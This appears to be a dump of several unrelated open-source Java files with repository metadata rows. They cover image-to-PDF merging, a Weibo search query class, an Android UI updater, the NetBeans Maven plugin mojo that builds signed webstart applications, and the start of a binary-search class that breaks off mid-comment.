if (IMAGE_TYPES_TO_CONVERT_TO_PDF.contains(extension)) {
try {
fileBytes = convertImageToPdf(fileBytes, uploadedDocument.getFilename());
extension = "pdf";
} catch (IOException e) {
log.error("failed to convert document " + uploadedDocument.getFilename()
+ " to pdf. Maintaining original type");
}
} else if (!extension.equals("pdf")) {
log.warn("Unsupported file-type: " + extension);
}
if (extension.equals("pdf")) {
fileBytes = addCoverPageToPdf(coverPage, fileBytes);
}
String filename =
fileNameGenerator.generateUploadedDocumentName(application, documentIndex, extension);
return new ApplicationFile(fileBytes, filename);
}
return null;
}
private byte[] addCoverPageToPdf(byte[] coverPage, byte[] fileBytes) {
PDFMergerUtility merger = new PDFMergerUtility();
try (PDDocument coverPageDoc = PDDocument.load(coverPage);
PDDocument uploadedDoc = PDDocument.load(fileBytes);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
merger.appendDocument(coverPageDoc, uploadedDoc);
coverPageDoc.save(outputStream);
fileBytes = outputStream.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
return fileBytes;
}
private byte[] convertImageToPdf(byte[] imageFileBytes, String filename) throws IOException {
try (PDDocument doc = new PDDocument(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
var image = PDImageXObject.createFromByteArray(doc, imageFileBytes, filename);
// Figure out page size
var pageSize = PDRectangle.LETTER;
var originalWidth = image.getWidth();
var originalHeight = image.getHeight();
var pageWidth = pageSize.getWidth();
var pageHeight = pageSize.getHeight();
var ratio = Math.min(pageWidth / originalWidth, pageHeight / originalHeight);
var scaledWidth = originalWidth * ratio;
var scaledHeight = originalHeight * ratio;
var x = (pageWidth - scaledWidth) / 2;
var y = (pageHeight - scaledHeight) / 2;
var imagePage = new PDPage(pageSize);
// Add a page of the right size to the PDF
doc.addPage(imagePage);
// Write the image into the PDF
try (PDPageContentStream pdfContents = new PDPageContentStream(doc, imagePage)) {
pdfContents.drawImage(image, x, y, scaledWidth, scaledHeight);
}
// put the doc in a byte array
doc.save(outputStream);
return outputStream.toByteArray();
}
}
}
|
3e0e4f768c8490659c6795a49c29afafc3d9b2ba | 7,407 | java | Java | src/weibo4android/Query.java | iniesta2014/GSinaWeiBo | 0172e3638c7d8f1ddfab521d089db15391bd99d4 | [
"Apache-2.0"
] | null | null | null | src/weibo4android/Query.java | iniesta2014/GSinaWeiBo | 0172e3638c7d8f1ddfab521d089db15391bd99d4 | [
"Apache-2.0"
] | null | null | null | src/weibo4android/Query.java | iniesta2014/GSinaWeiBo | 0172e3638c7d8f1ddfab521d089db15391bd99d4 | [
"Apache-2.0"
] | null | null | null | 28.163498 | 100 | 0.63953 | 6,070 | /*
Copyright (c) 2007-2009
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the Yusuke Yamamoto nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY Yusuke Yamamoto ``AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL Yusuke Yamamoto BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package weibo4android;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import weibo4android.logic.http.PostParameter;
public class Query {
private String mKey; // 搜索的关键字。
private Boolean mSnick = null;// 搜索范围是否包含昵称
private int mRpp = 20;
private Boolean mSdomain = null;// 搜索范围是否包含个性域名
private Boolean mSintro = null;// 搜索范围是否包含简介
private Integer mProvince = null;// 省份ID,参考省份城市编码表
private Integer mCity = null;// 城市ID,参考省份城市编码表
private Gender mGender = null;// 性别
private String mComorsch = null;
private int mSort = 1;// 排序方式,1为按更新时间,2为按粉丝数。
private Integer mPage = null;
private Integer mCount = null;// 默认每页10条
private boolean mBase_app = true;// 是否不基于当前应用来获取数据
private int mFilter_ori = 0;// 过滤器,是否为原创,0为全部,5为原创,4为转发。默认为0。
private int mFilter_pic;// 过滤器。是否包含图片。0为全部,1为包含,2为不包含。
private long mFuid;// 微博作者的用户ID。
private Date mStarttime;// 开始时间,Unix时间戳
private Date mEndtime;// 结束时间,Unix时间戳
private boolean mNeedcount = false;// 返回结果中是否包含返回记录数。true则返回搜索结果记录数。
private String mGeocode = null;// 返回指定经纬度附近的信息。经纬度参数格式是“纬度,经度,半径”,半径支持km(公里),m(米),mi(英里)。格式需要URL
// Encode编码
public void setQ(String q) {
this.mKey = q;
// if(!URLEncodeUtils.isURLEncoded(q))
// q=URLEncodeUtils.encodeURL(q);
}
public String getQ() {
return mKey;
}
public Boolean getSnick() {
return mSnick;
}
public void setSnick(Boolean snick) {
this.mSnick = snick;
}
public int getRpp() {
return mRpp;
}
public void setRpp(int rpp) {
this.mRpp = rpp;
}
public Boolean getSdomain() {
return mSdomain;
}
public void setSdomain(Boolean sdomain) {
this.mSdomain = sdomain;
}
public Boolean getSintro() {
return mSintro;
}
public void setSintro(Boolean sintro) {
this.mSintro = sintro;
}
public Integer getProvince() {
return mProvince;
}
public void setProvince(Integer province) {
this.mProvince = province;
}
public Integer getCity() {
return mCity;
}
public void setCity(Integer city) {
this.mCity = city;
}
public Gender getGender() {
return mGender;
}
public void setGender(Gender gender) {
this.mGender = gender;
}
public String getComorsch() {
return mComorsch;
}
public void setComorsch(String comorsch) {
this.mComorsch = comorsch;
}
public int getSort() {
return mSort;
}
public void setSort(int sort) {
this.mSort = sort;
}
public Integer getPage() {
return mPage;
}
public void setPage(Integer page) {
this.mPage = page;
}
public Integer getCount() {
return mCount;
}
public void setCount(Integer count) {
this.mCount = count;
}
public boolean getBase_app() {
return mBase_app;
}
public void setBase_app(boolean baseApp) {
mBase_app = baseApp;
}
public int getFilter_ori() {
return mFilter_ori;
}
public void setFilter_ori(int filterOri) {
mFilter_ori = filterOri;
}
public int getFilter_pic() {
return mFilter_pic;
}
public void setFilter_pic(int filterPic) {
mFilter_pic = filterPic;
}
public long getFuid() {
return mFuid;
}
public void setFuid(Integer fuid) {
this.mFuid = fuid;
}
public Date getStarttime() {
return mStarttime;
}
public void setStarttime(Date starttime) {
this.mStarttime = starttime;
}
public Date getEndtime() {
return mEndtime;
}
public void setEndtime(Date endtime) {
this.mEndtime = endtime;
}
public boolean getNeedcount() {
return mNeedcount;
}
public void setNeedcount(boolean needcount) {
this.mNeedcount = needcount;
}
public String getGeocode() {
return mGeocode;
}
public void setGeocode(String geocode) {
this.mGeocode = geocode;
}
public PostParameter[] getParameters() throws WeiboException {
List<PostParameter> list = new ArrayList<PostParameter>();
Class<Query> clz = Query.class;
Field[] fields = clz.getDeclaredFields();
for (Field field : fields) {
field.setAccessible(true);
String fieldName = field.getName();
String firstLetter = fieldName.substring(0, 1).toUpperCase();
String getMethodName = "get" + firstLetter + fieldName.substring(1);
Method getMethod;
try {
getMethod = clz.getMethod(getMethodName, new Class[] {});
Object value = getMethod.invoke(this, new Object[] {});
if (value != null) {
list.add(getParameterValue(fieldName, value));
}
} catch (Exception e) {
throw new WeiboException(e);
}
}
return list.toArray(new PostParameter[list.size()]);
}
private PostParameter getParameterValue(String name, Object value) {
if (value instanceof Boolean) {
return new PostParameter(name, (Boolean) value ? "0" : "1");
} else if (value instanceof String) {
return new PostParameter(name, value.toString());
} else if (value instanceof Integer) {
return new PostParameter(name, Integer.toString((Integer) value));
} else if (value instanceof Gender) {
return new PostParameter(name, Gender.valueOf((Gender) value));
} else if (value instanceof Long) {
return new PostParameter(name, Long.toString((Long) value));
}
return null;
}
}
|
3e0e4fba45e02c348abfc08560d1c5ac9884c6dd | 629 | java | Java | app/src/main/java/com/touchableheroes/drafts/spacerx/ui/binding/action/UIUpdater.java | drdrej/drafts-spacerx | db5066824335f5fa1c0acc23d8b25cd1fe9ba3eb | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/touchableheroes/drafts/spacerx/ui/binding/action/UIUpdater.java | drdrej/drafts-spacerx | db5066824335f5fa1c0acc23d8b25cd1fe9ba3eb | [
"Apache-2.0"
] | null | null | null | app/src/main/java/com/touchableheroes/drafts/spacerx/ui/binding/action/UIUpdater.java | drdrej/drafts-spacerx | db5066824335f5fa1c0acc23d8b25cd1fe9ba3eb | [
"Apache-2.0"
] | null | null | null | 19.65625 | 73 | 0.647059 | 6,071 | package com.touchableheroes.drafts.spacerx.ui.binding.action;
import android.view.View;
import android.widget.TextView;
import java.io.Serializable;
/**
* Created by asiebert on 11.04.2017.
*/
public abstract class UIUpdater<V extends View, S extends Serializable> {
public UIUpdater() {
;
}
public abstract void update(final V view, final S val);
public static class TextViewUIUpdater
extends UIUpdater<TextView, String> {
@Override
public void update(
final TextView view, final String value) {
view.setText( value );
}
}
}
|
3e0e4fcd430180e1c758b7f8f7b581d0ecd310fe | 28,303 | java | Java | src/main/java/org/apache/netbeans/nbm/CreateWebstartAppMojo.java | inceptive-tech/netbeans-mavenutils-nbm-maven-plugin | 38cfba38913d48995a39c0f1687845b390545f38 | [
"Apache-2.0"
] | 11 | 2019-05-20T21:23:45.000Z | 2021-09-20T09:42:31.000Z | src/main/java/org/apache/netbeans/nbm/CreateWebstartAppMojo.java | inceptive-tech/netbeans-mavenutils-nbm-maven-plugin | 38cfba38913d48995a39c0f1687845b390545f38 | [
"Apache-2.0"
] | 16 | 2019-05-15T17:22:18.000Z | 2022-03-30T20:02:35.000Z | src/main/java/org/apache/netbeans/nbm/CreateWebstartAppMojo.java | inceptive-tech/netbeans-mavenutils-nbm-maven-plugin | 38cfba38913d48995a39c0f1687845b390545f38 | [
"Apache-2.0"
] | 21 | 2019-05-14T13:41:36.000Z | 2022-03-12T17:22:49.000Z | 38.299053 | 120 | 0.541427 | 6,072 | package org.apache.netbeans.nbm;
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.io.Writer;
import java.net.URL;
import java.util.Properties;
import java.util.StringTokenizer;
import java.util.jar.Attributes;
import java.util.jar.JarFile;
import org.apache.maven.plugin.MojoExecutionException;
import org.apache.maven.plugin.MojoFailureException;
import org.apache.maven.plugins.annotations.Component;
import org.apache.maven.plugins.annotations.LifecyclePhase;
import org.apache.maven.plugins.annotations.Mojo;
import org.apache.maven.project.MavenProject;
import org.apache.maven.project.MavenProjectHelper;
import org.apache.tools.ant.Project;
import org.apache.tools.ant.taskdefs.GenerateKey;
import org.apache.tools.ant.taskdefs.SignJar;
import org.apache.tools.ant.taskdefs.Taskdef;
import org.apache.tools.ant.types.FileSet;
import org.apache.tools.ant.types.Parameter;
import org.apache.tools.ant.types.selectors.AndSelector;
import org.apache.tools.ant.types.selectors.FilenameSelector;
import org.apache.tools.ant.types.selectors.OrSelector;
import org.codehaus.plexus.archiver.zip.ZipArchiver;
import org.codehaus.plexus.components.io.resources.PlexusIoResource;
import org.codehaus.plexus.util.DirectoryScanner;
import org.codehaus.plexus.util.FileUtils;
import org.codehaus.plexus.util.IOUtil;
import org.codehaus.plexus.util.InterpolationFilterReader;
import org.netbeans.nbbuild.MakeJNLP;
import org.netbeans.nbbuild.ModuleSelector;
import org.netbeans.nbbuild.VerifyJNLP;
/**
* Create webstartable binaries for a 'nbm-application'.
*
* @author Johan Andrén
* @author Milos Kleint
* @since 3.0
*/
@Mojo( name = "webstart-app", defaultPhase = LifecyclePhase.PACKAGE )
public class CreateWebstartAppMojo
extends AbstractNbmMojo
{
/**
* The Maven project.
*
*/
@org.apache.maven.plugins.annotations.Parameter( required = true, readonly = true, property = "project" )
private MavenProject project;
@Component
protected MavenProjectHelper projectHelper;
/**
* The branding token for the application based on NetBeans platform.
*/
@org.apache.maven.plugins.annotations.Parameter( required = true, property = "netbeans.branding.token" )
protected String brandingToken;
/**
* output directory where the the NetBeans application will be created.
*/
@org.apache.maven.plugins.annotations.Parameter( required = true, defaultValue = "${project.build.directory}" )
private File outputDirectory;
/**
* Ready-to-deploy WAR containing application in JNLP packaging.
*
*/
@org.apache.maven.plugins.annotations.Parameter( required = true, defaultValue
= "${project.build.directory}/${project.artifactId}-${project.version}-jnlp.war" )
private File destinationFile;
/**
* Artifact Classifier to use for the webstart distributable zip file.
*
* @since 3.1
*/
@org.apache.maven.plugins.annotations.Parameter( defaultValue = "webstart", property = "nbm.webstart.classifier" )
private String webstartClassifier;
/**
* Codebase value within *.jnlp files.
* <strong>Defining this parameter is generally a bad idea.</strong>
*/
@org.apache.maven.plugins.annotations.Parameter( property = "nbm.webstart.codebase" )
private String codebase;
/**
* A custom master JNLP file. If not defined, the
* <a href="http://mojo.codehaus.org/nbm-maven-plugin/masterjnlp.txt">default one</a> is used. The following
* expressions can be used within the file and will be replaced when generating content.
* <ul>
* <li>${jnlp.resources}</li>
* <li>${jnlp.codebase} - the 'codebase' parameter value is passed in.</li>
* <li>${app.name}</li>
* <li>${app.title}</li>
* <li>${app.vendor}</li>
* <li>${app.description}</li>
* <li>${branding.token} - the 'brandingToken' parameter value is passed in.</li>
* <li>${netbeans.jnlp.fixPolicy}</li>
* </ul>
*/
@org.apache.maven.plugins.annotations.Parameter
private File masterJnlpFile;
/**
* The basename (minus .jnlp extension) of the master JNLP file in the output. This file will be the entry point for
* javaws. Defaults to the branding token.
*
* @since 3.5
*/
@org.apache.maven.plugins.annotations.Parameter( property = "master.jnlp.file.name" )
private String masterJnlpFileName;
/**
* keystore location for signing the nbm file
*/
@org.apache.maven.plugins.annotations.Parameter( property = "keystore" )
private String keystore;
/**
* keystore password
*/
@org.apache.maven.plugins.annotations.Parameter( property = "keystorepass" )
private String keystorepassword;
/**
* keystore alias
*/
@org.apache.maven.plugins.annotations.Parameter( property = "keystorealias" )
private String keystorealias;
/**
* keystore type
*
* @since 3.5
*/
@org.apache.maven.plugins.annotations.Parameter( property = "keystoretype" )
private String keystoretype;
/**
* If set true, build-jnlp target creates versioning info in jnlp descriptors and version.xml files. This allows for
* incremental updates of Webstart applications, but requires download via JnlpDownloadServlet Defaults to false,
* which means versioning info is not generated (see
* http://java.sun.com/j2se/1.5.0/docs/guide/javaws/developersguide/downloadservletguide.html#resources).
*
*/
@org.apache.maven.plugins.annotations.Parameter( defaultValue = "false", property = "nbm.webstart.versions" )
private boolean processJarVersions;
/**
* additional command line arguments. Eg. -J-Xdebug -J-Xnoagent
* -J-Xrunjdwp:transport=dt_socket,suspend=n,server=n,address=8888 can be used to debug the IDE.
*/
@org.apache.maven.plugins.annotations.Parameter( property = "netbeans.run.params" )
private String additionalArguments;
/**
*
* @throws MojoExecutionException if an unexpected problem occurs
* @throws MojoFailureException if an expected problem occurs
*/
@Override
public void execute()
throws MojoExecutionException, MojoFailureException
{
if ( !"nbm-application".equals( project.getPackaging() ) )
{
throw new MojoExecutionException(
"This goal only makes sense on project with nbm-application packaging." );
}
Project antProject = antProject();
getLog().warn(
"WARNING: Unsigned and self-signed WebStart applications are deprecated from JDK7u21 onwards. "
+ "To ensure future correct functionality please use trusted certificate." );
if ( keystore != null && keystorealias != null && keystorepassword != null )
{
File ks = new File( keystore );
if ( !ks.exists() )
{
throw new MojoFailureException( "Cannot find keystore file at " + ks.getAbsolutePath() );
}
else
{
//proceed..
}
}
else if ( keystore != null || keystorepassword != null || keystorealias != null )
{
throw new MojoFailureException( "If you want to sign the jnlp application, "
+ "you need to define all three keystore related parameters." );
}
else
{
File generatedKeystore = new File( outputDirectory, "generated.keystore" );
if ( !generatedKeystore.exists() )
{
getLog().warn( "Keystore related parameters not set, generating a default keystore." );
GenerateKey genTask = (GenerateKey) antProject.createTask( "genkey" );
genTask.setAlias( "jnlp" );
genTask.setStorepass( "netbeans" );
genTask.setDname( "CN=" + System.getProperty( "user.name" ) );
genTask.setKeystore( generatedKeystore.getAbsolutePath() );
genTask.execute();
}
keystore = generatedKeystore.getAbsolutePath();
keystorepassword = "netbeans";
keystorealias = "jnlp";
}
Taskdef taskdef = (Taskdef) antProject.createTask( "taskdef" );
taskdef.setClassname( "org.netbeans.nbbuild.MakeJNLP" );
taskdef.setName( "makejnlp" );
taskdef.execute();
taskdef = (Taskdef) antProject.createTask( "taskdef" );
taskdef.setClassname( "org.netbeans.nbbuild.VerifyJNLP" );
taskdef.setName( "verifyjnlp" );
taskdef.execute();
try
{
File webstartBuildDir = new File(
outputDirectory + File.separator + "webstart" + File.separator + brandingToken );
if ( webstartBuildDir.exists() )
{
FileUtils.deleteDirectory( webstartBuildDir );
}
webstartBuildDir.mkdirs();
final String localCodebase = codebase != null ? codebase : webstartBuildDir.toURI().toString();
getLog().info( "Generating webstartable binaries at " + webstartBuildDir.getAbsolutePath() );
File nbmBuildDirFile = new File( outputDirectory, brandingToken );
// FileUtils.copyDirectoryStructureIfModified( nbmBuildDirFile, webstartBuildDir );
MakeJNLP jnlpTask = (MakeJNLP) antProject.createTask( "makejnlp" );
jnlpTask.setDir( webstartBuildDir );
jnlpTask.setCodebase( localCodebase );
//TODO, how to figure verify excludes..
jnlpTask.setVerify( false );
jnlpTask.setPermissions( "<security><all-permissions/></security>" );
jnlpTask.setSignJars( true );
jnlpTask.setAlias( keystorealias );
jnlpTask.setKeystore( keystore );
jnlpTask.setStorePass( keystorepassword );
if ( keystoretype != null )
{
jnlpTask.setStoreType( keystoretype );
}
jnlpTask.setProcessJarVersions( processJarVersions );
FileSet fs = jnlpTask.createModules();
fs.setDir( nbmBuildDirFile );
OrSelector or = new OrSelector();
AndSelector and = new AndSelector();
FilenameSelector inc = new FilenameSelector();
inc.setName( "*/modules/**/*.jar" );
or.addFilename( inc );
inc = new FilenameSelector();
inc.setName( "*/lib/**/*.jar" );
or.addFilename( inc );
inc = new FilenameSelector();
inc.setName( "*/core/**/*.jar" );
or.addFilename( inc );
ModuleSelector ms = new ModuleSelector();
Parameter included = new Parameter();
included.setName( "includeClusters" );
included.setValue( "" );
Parameter excluded = new Parameter();
excluded.setName( "excludeClusters" );
excluded.setValue( "" );
Parameter exModules = new Parameter();
exModules.setName( "excludeModules" );
exModules.setValue( "" );
ms.setParameters( new Parameter[]
{
included,
excluded,
exModules
} );
and.add( or );
and.add( ms );
fs.addAnd( and );
jnlpTask.execute();
//TODO is it really netbeans/
String extSnippet = generateExtensions( fs, antProject, "" ); // "netbeans/"
if ( masterJnlpFileName == null )
{
masterJnlpFileName = brandingToken;
}
Properties props = new Properties();
props.setProperty( "jnlp.codebase", localCodebase );
props.setProperty( "app.name", brandingToken );
props.setProperty( "app.title", project.getName() );
if ( project.getOrganization() != null )
{
props.setProperty( "app.vendor", project.getOrganization().getName() );
}
else
{
props.setProperty( "app.vendor", "Nobody" );
}
String description = project.getDescription() != null ? project.getDescription() : "No Project Description";
props.setProperty( "app.description", description );
props.setProperty( "branding.token", brandingToken );
props.setProperty( "master.jnlp.file.name", masterJnlpFileName );
props.setProperty( "netbeans.jnlp.fixPolicy", "false" );
StringBuilder stBuilder = new StringBuilder();
if ( additionalArguments != null )
{
StringTokenizer st = new StringTokenizer( additionalArguments );
while ( st.hasMoreTokens() )
{
String arg = st.nextToken();
if ( arg.startsWith( "-J" ) )
{
if ( stBuilder.length() > 0 )
{
stBuilder.append( ' ' );
}
stBuilder.append( arg.substring( 2 ) );
}
}
}
props.setProperty( "netbeans.run.params", stBuilder.toString() );
File masterJnlp = new File(
webstartBuildDir.getAbsolutePath() + File.separator + masterJnlpFileName + ".jnlp" );
filterCopy( masterJnlpFile, "master.jnlp", masterJnlp, props );
File startup = copyLauncher( outputDirectory, nbmBuildDirFile );
File jnlpDestination = new File(
webstartBuildDir.getAbsolutePath() + File.separator + "startup.jar" );
SignJar signTask = (SignJar) antProject.createTask( "signjar" );
signTask.setKeystore( keystore );
signTask.setStorepass( keystorepassword );
signTask.setAlias( keystorealias );
if ( keystoretype != null )
{
signTask.setStoretype( keystoretype );
}
signTask.setSignedjar( jnlpDestination );
signTask.setJar( startup );
signTask.execute();
//branding
DirectoryScanner ds = new DirectoryScanner();
ds.setBasedir( nbmBuildDirFile );
ds.setIncludes( new String[]
{
"**/locale/*.jar"
} );
ds.scan();
String[] includes = ds.getIncludedFiles();
StringBuilder brandRefs = new StringBuilder();
if ( includes != null && includes.length > 0 )
{
File brandingDir = new File( webstartBuildDir, "branding" );
brandingDir.mkdirs();
for ( String incBran : includes )
{
File source = new File( nbmBuildDirFile, incBran );
File dest = new File( brandingDir, source.getName() );
FileUtils.copyFile( source, dest );
brandRefs.append( " <jar href=\'branding/" ).append( dest.getName() ).append( "\'/>\n" );
}
signTask = (SignJar) antProject.createTask( "signjar" );
signTask.setKeystore( keystore );
signTask.setStorepass( keystorepassword );
signTask.setAlias( keystorealias );
if ( keystoretype != null )
{
signTask.setStoretype( keystoretype );
}
FileSet set = new FileSet();
set.setDir( brandingDir );
set.setIncludes( "*.jar" );
signTask.addFileset( set );
signTask.execute();
}
File modulesJnlp = new File(
webstartBuildDir.getAbsolutePath() + File.separator + "modules.jnlp" );
props.setProperty( "jnlp.branding.jars", brandRefs.toString() );
props.setProperty( "jnlp.resources", extSnippet );
filterCopy( null, /* filename is historical */ "branding.jnlp", modulesJnlp, props );
getLog().info( "Verifying generated webstartable content." );
VerifyJNLP verifyTask = (VerifyJNLP) antProject.createTask( "verifyjnlp" );
FileSet verify = new FileSet();
verify.setFile( masterJnlp );
verifyTask.addConfiguredFileset( verify );
verifyTask.execute();
// create zip archive
if ( destinationFile.exists() )
{
destinationFile.delete();
}
ZipArchiver archiver = new ZipArchiver();
if ( codebase != null )
{
getLog().warn( "Defining <codebase>/${nbm.webstart.codebase} is generally unnecessary" );
archiver.addDirectory( webstartBuildDir );
}
else
{
archiver.addDirectory( webstartBuildDir, null, new String[]
{
"**/*.jnlp"
} );
for ( final File jnlp : webstartBuildDir.listFiles() )
{
if ( !jnlp.getName().endsWith( ".jnlp" ) )
{
continue;
}
archiver.addResource( new PlexusIoResource()
{
public @Override
InputStream getContents() throws IOException
{
return new ByteArrayInputStream( FileUtils.fileRead( jnlp, "UTF-8" ).replace( localCodebase,
"$$codebase" ).getBytes( "UTF-8" ) );
}
public @Override
long getLastModified()
{
return jnlp.lastModified();
}
public @Override
boolean isExisting()
{
return true;
}
public @Override
long getSize()
{
return UNKNOWN_RESOURCE_SIZE;
}
public @Override
URL getURL() throws IOException
{
return null;
}
public @Override
String getName()
{
return jnlp.getAbsolutePath();
}
public @Override
boolean isFile()
{
return true;
}
public @Override
boolean isDirectory()
{
return false;
}
@Override
public boolean isSymbolicLink()
{
return false;
}
}, jnlp.getName(), archiver.getDefaultFileMode() );
}
}
File jdkhome = new File( System.getProperty( "java.home" ) );
File servlet = new File( jdkhome, "sample/jnlp/servlet/jnlp-servlet.jar" );
if ( !servlet.isFile() )
{
servlet = new File( jdkhome.getParentFile(), "sample/jnlp/servlet/jnlp-servlet.jar" );
}
if ( servlet.isFile() )
{
archiver.addFile( servlet, "WEB-INF/lib/jnlp-servlet.jar" );
archiver.addResource( new PlexusIoResource()
{
public @Override
InputStream getContents() throws IOException
{
return new ByteArrayInputStream( ( ""
+ "<web-app>\n"
+ " <servlet>\n"
+ " <servlet-name>JnlpDownloadServlet</servlet-name>\n"
+ " <servlet-class>jnlp.sample.servlet.JnlpDownloadServlet</servlet-class>\n"
+ " </servlet>\n"
+ " <servlet-mapping>\n"
+ " <servlet-name>JnlpDownloadServlet</servlet-name>\n"
+ " <url-pattern>*.jnlp</url-pattern>\n"
+ " </servlet-mapping>\n"
+ "</web-app>\n" ).getBytes() );
}
public @Override
long getLastModified()
{
return UNKNOWN_MODIFICATION_DATE;
}
public @Override
boolean isExisting()
{
return true;
}
public @Override
long getSize()
{
return UNKNOWN_RESOURCE_SIZE;
}
public @Override
URL getURL() throws IOException
{
return null;
}
public @Override
String getName()
{
return "web.xml";
}
public @Override
boolean isFile()
{
return true;
}
public @Override
boolean isDirectory()
{
return false;
}
@Override
public boolean isSymbolicLink()
{
return false;
}
}, "WEB-INF/web.xml", archiver.getDefaultFileMode() );
}
archiver.setDestFile( destinationFile );
archiver.createArchive();
// attach standalone so that it gets installed/deployed
projectHelper.attachArtifact( project, "war", webstartClassifier, destinationFile );
}
catch ( Exception ex )
{
throw new MojoExecutionException( "Error creating webstartable binary.", ex );
}
}
/**
* @param standaloneBuildDir
* @return The name of the jnlp-launcher jarfile in the build directory
*/
private File copyLauncher( File standaloneBuildDir, File builtInstallation )
throws IOException
{
File jnlpStarter
= new File( builtInstallation.getAbsolutePath() + File.separator + "harness" + File.separator + "jnlp"
+ File.separator + "jnlp-launcher.jar" );
// buffer so it isn't reading a byte at a time!
InputStream source = null;
FileOutputStream outstream = null;
try
{
if ( !jnlpStarter.exists() )
{
source = getClass().getClassLoader().getResourceAsStream(
"harness/jnlp/jnlp-launcher.jar" );
}
else
{
source = new FileInputStream( jnlpStarter );
}
File jnlpDestination = new File(
standaloneBuildDir.getAbsolutePath() + File.separator + "jnlp-launcher.jar" );
outstream = new FileOutputStream( jnlpDestination );
IOUtil.copy( source, outstream );
return jnlpDestination;
}
finally
{
IOUtil.close( source );
IOUtil.close( outstream );
}
}
private void filterCopy( File sourceFile, String resourcePath, File destinationFile, Properties filterProperties )
throws IOException
{
// buffer so it isn't reading a byte at a time!
Reader source = null;
Writer destination = null;
try
{
InputStream instream;
if ( sourceFile != null )
{
instream = new FileInputStream( sourceFile );
}
else
{
instream = getClass().getClassLoader().getResourceAsStream( resourcePath );
}
FileOutputStream outstream = new FileOutputStream( destinationFile );
source = new BufferedReader( new InputStreamReader( instream, "UTF-8" ) );
destination = new OutputStreamWriter( outstream, "UTF-8" );
// support ${token}
Reader reader = new InterpolationFilterReader( source, filterProperties, "${", "}" );
IOUtil.copy( reader, destination );
}
finally
{
IOUtil.close( source );
IOUtil.close( destination );
}
}
/**
* copied from MakeMasterJNLP ant task.
*
* @param files
* @param antProject
* @param masterPrefix
* @return
* @throws java.io.IOException
*/
private String generateExtensions( FileSet files, Project antProject, String masterPrefix )
throws IOException
{
StringBuilder buff = new StringBuilder();
for ( String nm : files.getDirectoryScanner( antProject ).getIncludedFiles() )
{
File jar = new File( files.getDir( antProject ), nm );
if ( !jar.canRead() )
{
throw new IOException( "Cannot read file: " + jar );
}
JarFile theJar = new JarFile( jar );
Attributes attr = theJar.getManifest().getMainAttributes();
String codenamebase = attr.getValue( "OpenIDE-Module" );
if ( codenamebase == null )
{
codenamebase = attr.getValue( "Bundle-SymbolicName" );
}
if ( codenamebase == null )
{
throw new IOException( "Not a NetBeans Module: " + jar );
}
// see http://hg.netbeans.org/main-silver/rev/87823abb86d9
if ( codenamebase.equals( "org.objectweb.asm.all" )
&& jar.getParentFile().getName().equals( "core" )
&& jar.getParentFile().getParentFile().getName().startsWith( "platform" ) )
{
continue;
}
int slash = codenamebase.indexOf( '/' );
if ( slash >= 0 )
{
codenamebase = codenamebase.substring( 0, slash );
}
String dashcnb = codenamebase.replace( '.', '-' );
buff.append( " <extension name='" ).append( codenamebase ).append( "' href='" ).append( masterPrefix ).
append( dashcnb ).append( ".jnlp' />\n" );
theJar.close();
}
return buff.toString();
}
}
|
3e0e517f6e5f06e5d343c3e7158dc95c8e34784b | 931 | java | Java | java-struct/src/main/java/com/jvm/order/HalfSearch.java | qwe321q3/jvm | 429baa9cb55329ac5d26481cff57f603d01b3cc0 | [
"MIT"
] | null | null | null | java-struct/src/main/java/com/jvm/order/HalfSearch.java | qwe321q3/jvm | 429baa9cb55329ac5d26481cff57f603d01b3cc0 | [
"MIT"
] | 1 | 2021-06-29T09:43:11.000Z | 2021-06-29T09:43:11.000Z | java-struct/src/main/java/com/jvm/order/HalfSearch.java | qwe321q3/jvm | 429baa9cb55329ac5d26481cff57f603d01b3cc0 | [
"MIT"
] | null | null | null | 17.240741 | 76 | 0.518797 | 6,073 | package com.jvm.order;
/**
* 折半算法 / 2分算法
* 找到某个值得索引位置。
* 思路:
* 1、定义头指针,定义尾指针
* 2、计算中间值 mid = (头指针+尾指针)/2
* 3、要查找的值和mid索引对应的值做比较,如果大于mid索引出值,则舍弃左侧值,修改头指针索引位mid+1; 如果小于mid索引处值,则修改的尾部
* 指针为mid-1;
* 4、然后只要头部指针小于或者等于尾部指针就继续按照1-3步继续查找。
